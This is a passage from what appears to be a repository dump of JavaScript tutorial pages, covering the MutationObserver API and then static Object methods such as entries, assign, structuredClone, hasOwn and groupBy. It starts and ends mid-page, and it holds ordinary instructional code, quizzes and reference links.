document.body.appendChild(document.createElement('div')) Promise.resolve().then(() => { console.log('2. Promise callback') }) console.log('4. Script end') // Output: // 1. Script start // 4. Script end // 2. Promise callback // 3. MutationObserver callback ``` This means: - Your callback runs AFTER the DOM changes are complete - Multiple rapid changes are batched into a single callback - The callback runs BEFORE the browser paints --- ## Real-World Use Cases ### 1. Lazy Loading Images Watch for images entering the DOM and load them: ```javascript const imageObserver = new MutationObserver((mutations) => { for (const mutation of mutations) { for (const node of mutation.addedNodes) { if (node.nodeType !== Node.ELEMENT_NODE) continue // Check if the added node is an image with data-src if (node.matches('img[data-src]')) { loadImage(node) } // Also check children of the added node node.querySelectorAll('img[data-src]').forEach(loadImage) } } }) function loadImage(img) { img.src = img.dataset.src img.removeAttribute('data-src') } imageObserver.observe(document.body, { childList: true, subtree: true }) ``` ### 2. Syntax Highlighting Dynamic Code Automatically highlight code blocks added to the page: ```javascript const codeObserver = new MutationObserver((mutations) => { for (const mutation of mutations) { for (const node of mutation.addedNodes) { if (node.nodeType !== Node.ELEMENT_NODE) continue // Find code blocks in the added content const codeBlocks = node.matches('pre code') ? [node] : node.querySelectorAll('pre code') codeBlocks.forEach(block => { if (!block.dataset.highlighted) { Prism.highlightElement(block) block.dataset.highlighted = 'true' } }) } } }) codeObserver.observe(document.getElementById('content'), { childList: true, subtree: true }) ``` ### 3. Removing Unwanted Elements Block ads or unwanted elements injected by third-party scripts: ```javascript const adBlocker = new MutationObserver((mutations) => { for (const mutation of mutations) { for (const node of mutation.addedNodes) { if (node.nodeType !== Node.ELEMENT_NODE) continue if (node.matches('.ad-banner, [data-ad], .sponsored')) { node.remove() console.log('Blocked unwanted element') } } } }) adBlocker.observe(document.body, { childList: true, subtree: true }) ``` ### 4. Auto-Saving Form Changes Detect when form content changes and trigger auto-save: ```javascript const form = document.getElementById('editor-form') let saveTimeout const formObserver = new MutationObserver(() => { // Debounce the save clearTimeout(saveTimeout) saveTimeout = setTimeout(() => { saveFormData(form) }, 1000) }) formObserver.observe(form, { childList: true, subtree: true, attributes: true, characterData: true }) function saveFormData(form) { const data = new FormData(form) console.log('Auto-saving...', Object.fromEntries(data)) // Send to server } ``` ### 5. Tracking Class Changes React to CSS class changes for animations or state: ```javascript const element = document.getElementById('panel') const classObserver = new MutationObserver((mutations) => { for (const mutation of mutations) { if (mutation.attributeName === 'class') { const currentClasses = mutation.target.classList if (currentClasses.contains('expanded')) { console.log('Panel expanded!') loadPanelContent() } else { console.log('Panel collapsed!') } } } }) classObserver.observe(element, { attributes: true, attributeFilter: ['class'] }) ``` --- ## Common Mistakes ### Mistake 1: Not Filtering Node Types ```javascript // ❌ WRONG - processes text nodes and comments too const observer = new MutationObserver((mutations) => { for (const mutation of mutations) { for (const node of mutation.addedNodes) { console.log('Added:', node.tagName) // undefined for text nodes! } } }) // ✓ CORRECT - filter for elements only const observer = new MutationObserver((mutations) => { for (const mutation of mutations) { for (const node of mutation.addedNodes) { if (node.nodeType === Node.ELEMENT_NODE) { console.log('Added element:', node.tagName) } } } }) ``` ### Mistake 2: Causing Infinite Loops ```javascript // ❌ WRONG - modifying the DOM inside the callback that watches for modifications const observer = new MutationObserver((mutations) => { for (const mutation of mutations) { // This causes another mutation, which fires the callback again! mutation.target.setAttribute('data-processed', 'true') } }) observer.observe(element, { attributes: true }) // ✓ CORRECT - guard against reprocessing const observer = new MutationObserver((mutations) => { for (const mutation of mutations) { if (mutation.target.dataset.processed) continue // Skip already processed mutation.target.dataset.processed = 'true' } }) // Or better - exclude the attribute you're setting observer.observe(element, { attributes: true, attributeFilter: ['class', 'data-state'] // Don't include 'data-processed' }) ``` ### Mistake 3: Forgetting to Disconnect ```javascript // ❌ WRONG - observer keeps running after element is removed function setupWidget(container) { const observer = new MutationObserver(handleChanges) observer.observe(container, { childList: true }) // Container gets removed later, but observer is never disconnected // Memory leak! } // ✓ CORRECT - clean up when done function setupWidget(container) { const observer = new MutationObserver(handleChanges) observer.observe(container, { childList: true }) // Return cleanup function return () => observer.disconnect() } const cleanup = setupWidget(myContainer) // Later when removing the widget: cleanup() ``` ### Mistake 4: Over-Observing ```javascript // ❌ WRONG - watching everything everywhere observer.observe(document.body, { childList: true, attributes: true, characterData: true, subtree: true, attributeOldValue: true, characterDataOldValue: true }) // ✓ CORRECT - be specific about what you need observer.observe(specificContainer, { childList: true, subtree: true // Only watch what you actually need }) ``` --- ## MutationObserver vs Other Approaches | Approach | When to Use | Drawbacks | |----------|-------------|-----------| | **MutationObserver** | Reacting to any DOM change | Slightly complex API | | **Event delegation** | Reacting to user events on dynamic content | Only works for events that bubble | | **Polling (setInterval)** | Never for DOM watching | Wasteful, misses changes between checks | | **Mutation Events** | Never (deprecated) | Performance killer, removed from standards | | **ResizeObserver** | Watching element size changes | Only for size, not other attributes | | **IntersectionObserver** | Watching element visibility | Only for visibility, not DOM changes | --- ## Key Takeaways <Info> **The key things to remember:** 1. **MutationObserver watches DOM changes** — It fires a callback when elements are added/removed, attributes change, or text content changes. 2. **It replaced Mutation Events** — The old API was synchronous and killed performance. MutationObserver is asynchronous and batches changes. 3. **You must specify what to watch** — Use `childList`, `attributes`, and/or `characterData` in the config object. 4. **subtree extends to descendants** — Without it, only direct children are watched. 5. **Callbacks receive MutationRecords** — Each record tells you the mutation type, target, and what specifically changed. 6. **Always disconnect when done** — Prevents memory leaks and unnecessary processing. 7. **Callbacks run as microtasks** — After the current script, before rendering, batched together. 8. **Filter addedNodes by nodeType** — The NodeList includes text nodes and comments, not just elements. 9. **Be specific to avoid performance issues** — Don't watch everything on document.body unless you really need to. 10. **Guard against infinite loops** — If your callback modifies the DOM, make sure it doesn't trigger itself. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What three types of mutations can MutationObserver detect?"> **Answer:** MutationObserver can detect three types of mutations: 1. **childList** — Child nodes being added or removed 2. **attributes** — Attribute values changing 3. **characterData** — Text content changing in text nodes Each mutation type corresponds to a `type` property value in the MutationRecord. </Accordion> <Accordion title="Question 2: What does the subtree option do?"> **Answer:** The `subtree: true` option extends observation to ALL descendants of the target element, not just direct children. Without `subtree`, only immediate children of the observed element trigger mutations. With `subtree`, changes anywhere in the element's entire tree trigger mutations. ```javascript // Only direct children observer.observe(parent, { childList: true }) // All descendants observer.observe(parent, { childList: true, subtree: true }) ``` </Accordion> <Accordion title="Question 3: When do MutationObserver callbacks run?"> **Answer:** MutationObserver callbacks run as **microtasks**. This means they execute: 1. After the current synchronous script finishes 2. After all pending microtasks (like Promise callbacks) 3. Before the browser renders/paints Multiple DOM changes are batched and delivered in a single callback invocation. </Accordion> <Accordion title="Question 4: How do you stop a MutationObserver from watching?"> **Answer:** Call the `disconnect()` method on the observer: ```javascript const observer = new MutationObserver(callback) observer.observe(element, { childList: true }) // Stop watching observer.disconnect() ``` If you need to process pending mutations before disconnecting, call `takeRecords()` first. </Accordion> <Accordion title="Question 5: Why should you filter addedNodes by nodeType?"> **Answer:** The `addedNodes` and `removedNodes` NodeLists include ALL node types, not just elements. This includes: - Text nodes (nodeType 3) - Comment nodes (nodeType 8) - Element nodes (nodeType 1) If you only care about elements, filter by `node.nodeType === Node.ELEMENT_NODE`: ```javascript for (const node of mutation.addedNodes) { if (node.nodeType === Node.ELEMENT_NODE) { // This is an actual element } } ``` </Accordion> <Accordion title="Question 6: How can you cause an infinite loop with MutationObserver?"> **Answer:** If your callback modifies the DOM in a way that triggers another mutation, and you're watching for that type of mutation, you can create an infinite loop: ```javascript // Infinite loop - setting an attribute inside a callback // that watches attributes! const observer = new MutationObserver((mutations) => { element.setAttribute('data-count', count++) // Triggers another mutation! }) observer.observe(element, { attributes: true }) ``` **Solutions:** - Use `attributeFilter` to exclude the attribute you're modifying - Add a guard condition to skip already-processed elements - Set a flag before modifying and check it in the callback </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is MutationObserver in JavaScript?"> MutationObserver is a built-in API that watches a DOM element and fires a callback when specified changes occur — child nodes added or removed, attributes modified, or text content changed. It replaced the deprecated Mutation Events API, which was removed from the W3C specification due to severe performance problems. </Accordion> <Accordion title="What is the difference between MutationObserver and Mutation Events?"> Mutation Events (`DOMNodeInserted`, `DOMAttrModified`) fired synchronously on every single DOM change, blocking the main thread. MutationObserver batches changes and delivers them asynchronously as microtasks. MDN marks Mutation Events as deprecated and recommends MutationObserver as the only supported alternative. </Accordion> <Accordion title="What does the subtree option do in MutationObserver?"> Without `subtree: true`, MutationObserver only watches direct children of the target element. With `subtree: true`, it watches the entire descendant tree. Use subtree when changes can happen at any depth, but be specific about which element to observe to avoid performance overhead. </Accordion> <Accordion title="How do I avoid infinite loops with MutationObserver?"> If your callback modifies the DOM in a way the observer is watching, it triggers another callback — creating a loop. Use `attributeFilter` to exclude attributes you modify, add a guard condition to skip processed elements, or temporarily disconnect before making changes and reconnect afterward. </Accordion> <Accordion title="When do MutationObserver callbacks execute?"> Callbacks run as microtasks — after the current synchronous script finishes but before the browser paints. According to the WHATWG specification, multiple rapid DOM changes are batched into a single callback invocation, which is why MutationObserver is far more efficient than the synchronous Mutation Events it replaced. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="DOM" icon="sitemap" href="/concepts/dom"> Understanding the DOM tree that MutationObserver watches </Card> <Card title="Intersection Observer" icon="eye" href="/beyond/concepts/intersection-observer"> Another Observer API for detecting element visibility </Card> <Card title="Resize Observer" icon="arrows-left-right" href="/beyond/concepts/resize-observer"> Observer API for detecting element size changes </Card> <Card title="Event Loop" icon="arrows-spin" href="/concepts/event-loop"> How microtasks (including MutationObserver callbacks) are scheduled </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="MutationObserver — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver"> Complete MDN reference for the MutationObserver interface, including constructor, methods, and browser compatibility. </Card> <Card title="MutationObserver.observe() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver/observe"> Detailed documentation of the observe() method and all configuration options in MutationObserverInit. </Card> <Card title="MutationRecord — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/MutationRecord"> Reference for the MutationRecord interface that describes individual DOM mutations. </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="Mutation Observer — javascript.info" icon="newspaper" href="https://javascript.info/mutation-observer"> Comprehensive tutorial covering syntax, configuration, and practical use cases like syntax highlighting. Includes interactive examples you can run in the browser. </Card> <Card title="Getting To Know The MutationObserver API — CSS-Tricks" icon="newspaper" href="https://css-tricks.com/getting-to-know-the-mutationobserver-api/"> Chris Coyier's practical introduction with real-world examples. Great for understanding when and why to use MutationObserver. </Card> <Card title="Tracking DOM Changes with MutationObserver — dev.to" icon="newspaper" href="https://dev.to/betelgeuseas/tracking-changes-in-the-dom-using-mutationobserver-i8h"> Practical guide covering use cases like notifying visitors of page changes, dynamic module loading, and implementing undo/redo in editors. </Card> <Card title="DOM MutationObserver — Mozilla Hacks" icon="newspaper" href="https://hacks.mozilla.org/2012/05/dom-mutationobserver-reacting-to-dom-changes-without-killing-browser-performance/"> The original Mozilla blog post introducing MutationObserver. Explains why it was created and how it improves on Mutation Events. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="MutationObserver is Unbelievably Powerful — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=Mi4EF9K87aM"> Clear explanation of MutationObserver covering attributes, text content, and subtree mutations. Perfect for visual learners who want to understand the core concepts quickly. </Card> <Card title="Dominate the DOM with MutationObserver — Net Ninja" icon="video" href="https://www.youtube.com/watch?v=_USLLDbkQI0"> Practical tutorial using a Webflow Slider example. Shows how to handle third-party components you don't control by watching for their DOM changes. </Card> <Card title="MutationObserver in JS is INCREDIBLY Powerful" icon="video" href="https://www.youtube.com/watch?v=S8AWt70JMhQ"> Advanced tutorial covering how frameworks like React and Angular use MutationObserver internally. Great for interview prep and deeper understanding. </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/object-methods.mdx ================================================ --- title: "JavaScript Object Methods" sidebarTitle: "Object Methods: Inspect & Transform" description: "Learn JavaScript Object methods. Master Object.keys(), values(), entries(), assign(), structuredClone(), hasOwn(), and groupBy() for object manipulation." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Objects & Properties" "article:tag": "object methods, object.keys, object.entries, object.assign, structuredclone, object manipulation" --- How do you loop through an object's properties? How do you transform an object's keys? Or create a true copy of an object without unexpected side effects? JavaScript's `Object` constructor comes with a powerful toolkit of static methods that let you inspect, iterate, transform, and clone objects. Once you know them, you'll reach for them constantly. ```javascript const user = { name: 'Alice', age: 30, city: 'NYC' } // Get all keys, values, or key-value pairs Object.keys(user) // ['name', 'age', 'city'] Object.values(user) // ['Alice', 30, 'NYC'] Object.entries(user) // [['name', 'Alice'], ['age', 30], ['city', 'NYC']] // Transform and rebuild const upperKeys = Object.fromEntries( Object.entries(user).map(([key, value]) => [key.toUpperCase(), value]) ) // { NAME: 'Alice', AGE: 30, CITY: 'NYC' } ``` <Info> **What you'll learn in this guide:** - How to iterate objects with [`Object.keys()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys), [`Object.values()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/values), and [`Object.entries()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/entries) - How to transform objects using [`Object.fromEntries()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/fromEntries) - Shallow vs deep cloning with [`Object.assign()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign) and [`structuredClone()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/structuredClone) - Safe property checking with [`Object.hasOwn()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwn) - Precise equality with [`Object.is()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is) - Grouping data with [`Object.groupBy()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/groupBy) (ES2024) - When to use each method in real-world scenarios </Info> --- ## What are Object Methods? **Object methods** are static functions on JavaScript's built-in `Object` constructor that let you inspect, manipulate, and transform objects. Unlike instance methods you call on the object itself (like `toString()`), these are called on `Object` directly with the target object passed as an argument. According to MDN, the `Object` constructor provides over 30 static methods, with new ones like `Object.groupBy()` added as recently as ES2024. ```javascript const product = { name: 'Laptop', price: 999 } // Static method: called on Object Object.keys(product) // ['name', 'price'] // Instance method: called on the object product.toString() // '[object Object]' ``` Think of `Object` as a toolbox sitting next to your workbench. You don't modify the toolbox itself. You reach into it, grab a tool, and use it on whatever object you're working with. --- ## The Toolbox Analogy Imagine you have a filing cabinet (your object) and a set of tools for working with it: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE OBJECT TOOLBOX │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ YOUR OBJECT (Filing Cabinet) THE TOOLS (Object.*) │ │ ┌─────────────────────┐ ┌────────────────────────────┐ │ │ │ name: "Alice" │ │ keys() → list labels │ │ │ │ age: 30 │ ────► │ values() → list contents │ │ │ │ city: "NYC" │ │ entries() → list both │ │ │ └─────────────────────┘ │ assign() → copy/merge │ │ │ │ hasOwn() → check exists │ │ │ │ groupBy() → organize │ │ │ └────────────────────────────┘ │ │ │ │ You don't modify the toolbox. You use the tools ON your object. │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ## Iteration Methods: keys, values, entries These three methods convert an object into an array you can loop over or transform. ### Object.keys() Returns an array of the object's own enumerable property **names** (keys). ```javascript const user = { name: 'Alice', age: 30, city: 'NYC' } const keys = Object.keys(user) console.log(keys) // ['name', 'age', 'city'] // Loop through keys for (const key of Object.keys(user)) { console.log(key) // 'name', 'age', 'city' } ``` ### Object.values() Returns an array of the object's own enumerable property **values**. ```javascript const user = { name: 'Alice', age: 30, city: 'NYC' } const values = Object.values(user) console.log(values) // ['Alice', 30, 'NYC'] // Sum all numeric values const scores = { math: 95, science: 88, history: 92 } const total = Object.values(scores).reduce((sum, score) => sum + score, 0) console.log(total) // 275 ``` ### Object.entries() Returns an array of `[key, value]` pairs. This is the most versatile of the three. ```javascript const user = { name: 'Alice', age: 30, city: 'NYC' } const entries = Object.entries(user) console.log(entries) // [['name', 'Alice'], ['age', 30], ['city', 'NYC']] // Destructure in a loop for (const [key, value] of Object.entries(user)) { console.log(`${key}: ${value}`) } // name: Alice // age: 30 // city: NYC ``` ### Quick Comparison | Method | Returns | Use When | |--------|---------|----------| | `Object.keys(obj)` | `['key1', 'key2', ...]` | You only need the property names | | `Object.values(obj)` | `[value1, value2, ...]` | You only need the values | | `Object.entries(obj)` | `[['key1', value1], ...]` | You need both keys and values | <Note> All three methods only return **own** enumerable properties. They skip inherited properties from the prototype chain and non-enumerable properties. See [Property Descriptors](/beyond/concepts/property-descriptors) for more on enumerability. </Note> --- ## Transforming Objects with fromEntries() [`Object.fromEntries()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/fromEntries) is the inverse of `Object.entries()`. It takes an iterable of `[key, value]` pairs and builds an object. ```javascript const entries = [['name', 'Alice'], ['age', 30]] const user = Object.fromEntries(entries) console.log(user) // { name: 'Alice', age: 30 } ``` The real power comes from combining `entries()` and `fromEntries()` with array methods like `map()` and `filter()`. ### Transform Object Keys ```javascript const user = { name: 'Alice', age: 30, city: 'NYC' } // Convert all keys to uppercase const upperCased = Object.fromEntries( Object.entries(user).map(([key, value]) => [key.toUpperCase(), value]) ) console.log(upperCased) // { NAME: 'Alice', AGE: 30, CITY: 'NYC' } ``` ### Filter Object Properties ```javascript const product = { name: 'Laptop', price: 999, inStock: true, sku: 'LP001' } // Keep only string values const stringsOnly = Object.fromEntries( Object.entries(product).filter(([key, value]) => typeof value === 'string') ) console.log(stringsOnly) // { name: 'Laptop', sku: 'LP001' } ``` ### Convert a Map to an Object ```javascript const map = new Map([ ['name', 'Alice'], ['role', 'Admin'] ]) const obj = Object.fromEntries(map) console.log(obj) // { name: 'Alice', role: 'Admin' } ``` <Tip> **The Transform Pipeline:** `Object.entries()` → array methods → `Object.fromEntries()` is a powerful pattern. It's like `map()` for objects. </Tip> --- ## Cloning and Merging Objects JavaScript objects are assigned by reference. When you need a separate copy, you have several options. ### Object.assign() — Shallow Copy and Merge [`Object.assign()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign) copies all enumerable own properties from source objects to a target object. ```javascript const target = { a: 1 } const source = { b: 2 } Object.assign(target, source) console.log(target) // { a: 1, b: 2 } ``` For cloning, use an empty object as the target: ```javascript const original = { name: 'Alice', age: 30 } const clone = Object.assign({}, original) clone.name = 'Bob' console.log(original.name) // 'Alice' — original unchanged ``` **Merge multiple objects:** ```javascript const defaults = { theme: 'light', fontSize: 14 } const userPrefs = { theme: 'dark' } const settings = Object.assign({}, defaults, userPrefs) console.log(settings) // { theme: 'dark', fontSize: 14 } ``` <Warning> **Shallow copy only!** Nested objects are still shared by reference: ```javascript const original = { name: 'Alice', address: { city: 'NYC' } } const clone = Object.assign({}, original) clone.address.city = 'LA' console.log(original.address.city) // 'LA' — both changed! ``` </Warning> ### structuredClone() — Deep Copy [`structuredClone()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/structuredClone) creates a true deep copy, including nested objects. It was added to browsers and Node.js in 2022. As the web.dev team documented, `structuredClone()` replaced the common `JSON.parse(JSON.stringify(obj))` workaround that failed with `Date`, `Map`, `Set`, `RegExp`, and circular references. ```javascript const original = { name: 'Alice', address: { city: 'NYC' } } const clone = structuredClone(original) clone.address.city = 'LA' console.log(original.address.city) // 'NYC' — original unchanged! ``` **It also handles:** - Circular references - Most built-in types (Date, Map, Set, ArrayBuffer, etc.) ```javascript const data = { date: new Date('2024-01-01'), items: new Set([1, 2, 3]) } const clone = structuredClone(data) console.log(clone.date instanceof Date) // true console.log(clone.items instanceof Set) // true ``` <Warning> **structuredClone() cannot clone:** - Functions - DOM nodes - Property descriptors (getters/setters become plain values) - Prototype chain (you get plain objects) ```javascript const obj = { greet: () => 'Hello' // Function } structuredClone(obj) // Throws: DataCloneError ``` </Warning> ### Shallow vs Deep: When to Use Each | Method | Depth | Speed | Use When | |--------|-------|-------|----------| | `Object.assign()` | Shallow | Fast | Merging objects, no nested objects | | Spread `{...obj}` | Shallow | Fast | Quick clone, no nested objects | | `structuredClone()` | Deep | Slower | Nested objects that must be independent | --- ## Object.hasOwn() — Safe Property Checking [`Object.hasOwn()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwn) checks if an object has a property as its own (not inherited). It's the modern replacement for `hasOwnProperty()`, introduced in ES2022. MDN recommends using `Object.hasOwn()` over `Object.prototype.hasOwnProperty()` in all new code because it works correctly with null-prototype objects and cannot be overridden. ```javascript const user = { name: 'Alice', age: 30 } console.log(Object.hasOwn(user, 'name')) // true console.log(Object.hasOwn(user, 'toString')) // false (inherited) console.log(Object.hasOwn(user, 'email')) // false (doesn't exist) ``` ### Why Not Just Use hasOwnProperty()? `Object.hasOwn()` is safer in two situations: **1. Objects with null prototype:** ```javascript const nullProto = Object.create(null) nullProto.id = 1 // hasOwnProperty doesn't exist on null-prototype objects! nullProto.hasOwnProperty('id') // TypeError! // Object.hasOwn works fine Object.hasOwn(nullProto, 'id') // true ``` **2. Objects that override hasOwnProperty:** ```javascript const sneaky = { hasOwnProperty: () => false // Someone overrode it! } sneaky.hasOwnProperty('hasOwnProperty') // false (wrong!) Object.hasOwn(sneaky, 'hasOwnProperty') // true (correct!) ``` <Tip> **Modern best practice:** Use `Object.hasOwn()` instead of `obj.hasOwnProperty()`. It's more robust and reads more clearly. </Tip> --- ## Object.is() — Precise Equality [`Object.is()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is) compares two values for same-value equality. It's like `===` but handles two edge cases differently. ```javascript // Same as === Object.is(5, 5) // true Object.is('hello', 'hello') // true Object.is({}, {}) // false (different references) // Different from === Object.is(NaN, NaN) // true (=== returns false!) Object.is(0, -0) // false (=== returns true!) ``` ### When to Use Object.is() You rarely need it, but it's essential when: - Detecting `NaN` values (though `Number.isNaN()` is usually clearer) - Distinguishing `+0` from `-0` (rare mathematical scenarios) - Implementing equality checks in libraries ```javascript // NaN comparison const value = NaN value === NaN // false (always!) Object.is(value, NaN) // true Number.isNaN(value) // true (preferred for this case) // Zero comparison const positiveZero = 0 const negativeZero = -0 positiveZero === negativeZero // true Object.is(positiveZero, negativeZero) // false ``` --- ## Object.groupBy() — Grouping Data (ES2024) [`Object.groupBy()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/groupBy) groups array elements by the result of a callback function. It's brand new in ES2024. ```javascript const inventory = [ { name: 'apples', type: 'fruit', quantity: 5 }, { name: 'bananas', type: 'fruit', quantity: 3 }, { name: 'carrots', type: 'vegetable', quantity: 10 }, { name: 'broccoli', type: 'vegetable', quantity: 7 } ] const byType = Object.groupBy(inventory, item => item.type) console.log(byType) // { // fruit: [ // { name: 'apples', type: 'fruit', quantity: 5 }, // { name: 'bananas', type: 'fruit', quantity: 3 } // ], // vegetable: [ // { name: 'carrots', type: 'vegetable', quantity: 10 }, // { name: 'broccoli', type: 'vegetable', quantity: 7 } // ] // } ``` ### Custom Grouping Logic The callback can return any string to use as the group key: ```javascript const products = [ { name: 'Laptop', price: 999 }, { name: 'Mouse', price: 29 }, { name: 'Monitor', price: 399 }, { name: 'Keyboard', price: 89 } ] const byPriceRange = Object.groupBy(products, product => { if (product.price < 50) return 'budget' if (product.price < 200) return 'mid-range' return 'premium' }) console.log(byPriceRange) // { // premium: [{ name: 'Laptop', price: 999 }, { name: 'Monitor', price: 399 }], // budget: [{ name: 'Mouse', price: 29 }], // 'mid-range': [{ name: 'Keyboard', price: 89 }] // } ``` <Warning> **Browser compatibility:** `Object.groupBy()` is new (March 2024). Check [Can I Use](https://caniuse.com/mdn-javascript_builtins_object_groupby) before using in production. For older environments, use a polyfill or Lodash's `groupBy()`. </Warning> --- ## Inspection Methods These methods reveal more details about an object's properties. ### Object.getOwnPropertyNames() Returns all own property names, **including non-enumerable ones**: ```javascript const arr = [1, 2, 3] Object.keys(arr) // ['0', '1', '2'] Object.getOwnPropertyNames(arr) // ['0', '1', '2', 'length'] ``` ### Object.getOwnPropertySymbols() Returns all own Symbol-keyed properties: ```javascript const id = Symbol('id') const obj = { name: 'Alice', [id]: 12345 } Object.keys(obj) // ['name'] Object.getOwnPropertySymbols(obj) // [Symbol(id)] ``` --- ## Object Protection Methods For controlling what can be done to an object, see [Property Descriptors](/beyond/concepts/property-descriptors). Here's a quick reference: | Method | Add Properties | Delete Properties | Modify Values | |--------|---------------|-------------------|---------------| | Normal object | Yes | Yes | Yes | | `Object.preventExtensions()` | No | Yes | Yes | | `Object.seal()` | No | No | Yes | | `Object.freeze()` | No | No | No | ```javascript const config = { apiUrl: 'https://api.example.com' } Object.freeze(config) config.apiUrl = 'https://evil.com' // Silently fails console.log(config.apiUrl) // 'https://api.example.com' ``` --- ## Object.create() — Creating with a Prototype For creating objects with a specific prototype, see [Object Creation & Prototypes](/concepts/object-creation-prototypes). Brief example: ```javascript const personProto = { greet() { return `Hi, I'm ${this.name}` } } const alice = Object.create(personProto) alice.name = 'Alice' console.log(alice.greet()) // "Hi, I'm Alice" ``` --- ## Common Patterns and Where They're Used ### Data Transformation Pipelines Common in React/Redux for transforming state: ```javascript // Normalize an API response into a lookup object const users = [ { id: 1, name: 'Alice' }, { id: 2, name: 'Bob' } ] const usersById = Object.fromEntries( users.map(user => [user.id, user]) ) // { 1: { id: 1, name: 'Alice' }, 2: { id: 2, name: 'Bob' } } ``` ### Configuration Merging Common in libraries and frameworks: ```javascript function createClient(userOptions = {}) { const defaults = { timeout: 5000, retries: 3, baseUrl: 'https://api.example.com' } const options = Object.assign({}, defaults, userOptions) // ... use options } ``` ### Safe Property Access in APIs ```javascript function processData(data) { if (Object.hasOwn(data, 'userId')) { // Safe to use data.userId } } ``` --- ## Key Takeaways <Info> **The key things to remember:** 1. **`Object.keys()`, `values()`, `entries()`** — Convert objects to arrays for iteration and transformation. 2. **`Object.fromEntries()`** — Builds an object from key-value pairs. Combine with `entries()` for object transformations. 3. **`Object.assign()` is shallow** — Only the top level is copied. Nested objects are still shared references. 4. **`structuredClone()` is deep** — Creates a true independent copy, including nested objects. 5. **`Object.hasOwn()` beats `hasOwnProperty()`** — Works on null-prototype objects and can't be overridden. 6. **`Object.is()` handles NaN and -0** — Use it when strict equality (`===`) isn't enough. 7. **`Object.groupBy()` is ES2024** — Check browser support before using without a polyfill. 8. **These are static methods** — Called as `Object.method(obj)`, not `obj.method()`. 9. **Only own enumerable properties** — `keys()`, `values()`, and `entries()` skip inherited and non-enumerable properties. 10. **Spread `{...obj}` is just shallow** — Same as `Object.assign({}, obj)`. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="What's the difference between Object.keys() and Object.getOwnPropertyNames()?"> **Answer:** `Object.keys()` returns only **enumerable** own properties. `Object.getOwnPropertyNames()` returns **all** own properties, including non-enumerable ones. ```javascript const arr = [1, 2, 3] Object.keys(arr) // ['0', '1', '2'] Object.getOwnPropertyNames(arr) // ['0', '1', '2', 'length'] // 'length' is non-enumerable ``` </Accordion> <Accordion title="How do you deep clone an object with nested objects?"> **Answer:** Use `structuredClone()` for a true deep copy: ```javascript const original = { user: { name: 'Alice' } } const clone = structuredClone(original) clone.user.name = 'Bob' console.log(original.user.name) // 'Alice' — unchanged ``` Note: `structuredClone()` can't clone functions or DOM nodes. </Accordion> <Accordion title="Why does Object.is(NaN, NaN) return true but NaN === NaN returns false?"> **Answer:** `===` follows IEEE 754 floating-point rules where NaN is not equal to anything, including itself. This is technically correct for numeric comparison but often counterintuitive. `Object.is()` uses "same-value equality" which treats NaN as equal to NaN, matching what most developers expect. ```javascript NaN === NaN // false (IEEE 754 rule) Object.is(NaN, NaN) // true (same-value equality) ``` </Accordion> <Accordion title="Why should you use Object.hasOwn() instead of hasOwnProperty()?"> **Answer:** Two reasons: 1. **Null-prototype objects** don't have `hasOwnProperty`: ```javascript const obj = Object.create(null) obj.hasOwnProperty('key') // TypeError! Object.hasOwn(obj, 'key') // Works fine ``` 2. **Objects can override hasOwnProperty**: ```javascript const obj = { hasOwnProperty: () => false } obj.hasOwnProperty('hasOwnProperty') // false (wrong!) Object.hasOwn(obj, 'hasOwnProperty') // true (correct!) ``` </Accordion> <Accordion title="How do you transform all keys of an object to uppercase?"> **Answer:** Use `Object.entries()`, `map()`, and `Object.fromEntries()`: ```javascript const obj = { name: 'Alice', age: 30 } const upperKeys = Object.fromEntries( Object.entries(obj).map(([key, value]) => [key.toUpperCase(), value]) ) console.log(upperKeys) // { NAME: 'Alice', AGE: 30 } ``` </Accordion> <Accordion title="What does Object.groupBy() return and when was it added?"> **Answer:** `Object.groupBy()` returns a null-prototype object where each property is an array of elements that match that group key. It was added in ES2024 (March 2024). ```javascript const items = [ { type: 'fruit', name: 'apple' }, { type: 'fruit', name: 'banana' }, { type: 'veggie', name: 'carrot' } ] const grouped = Object.groupBy(items, item => item.type) // { // fruit: [{ type: 'fruit', name: 'apple' }, { type: 'fruit', name: 'banana' }], // veggie: [{ type: 'veggie', name: 'carrot' }] // } ``` </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is the difference between Object.keys() and Object.entries()?"> `Object.keys()` returns an array of property names (strings), while `Object.entries()` returns an array of `[key, value]` pairs. Use 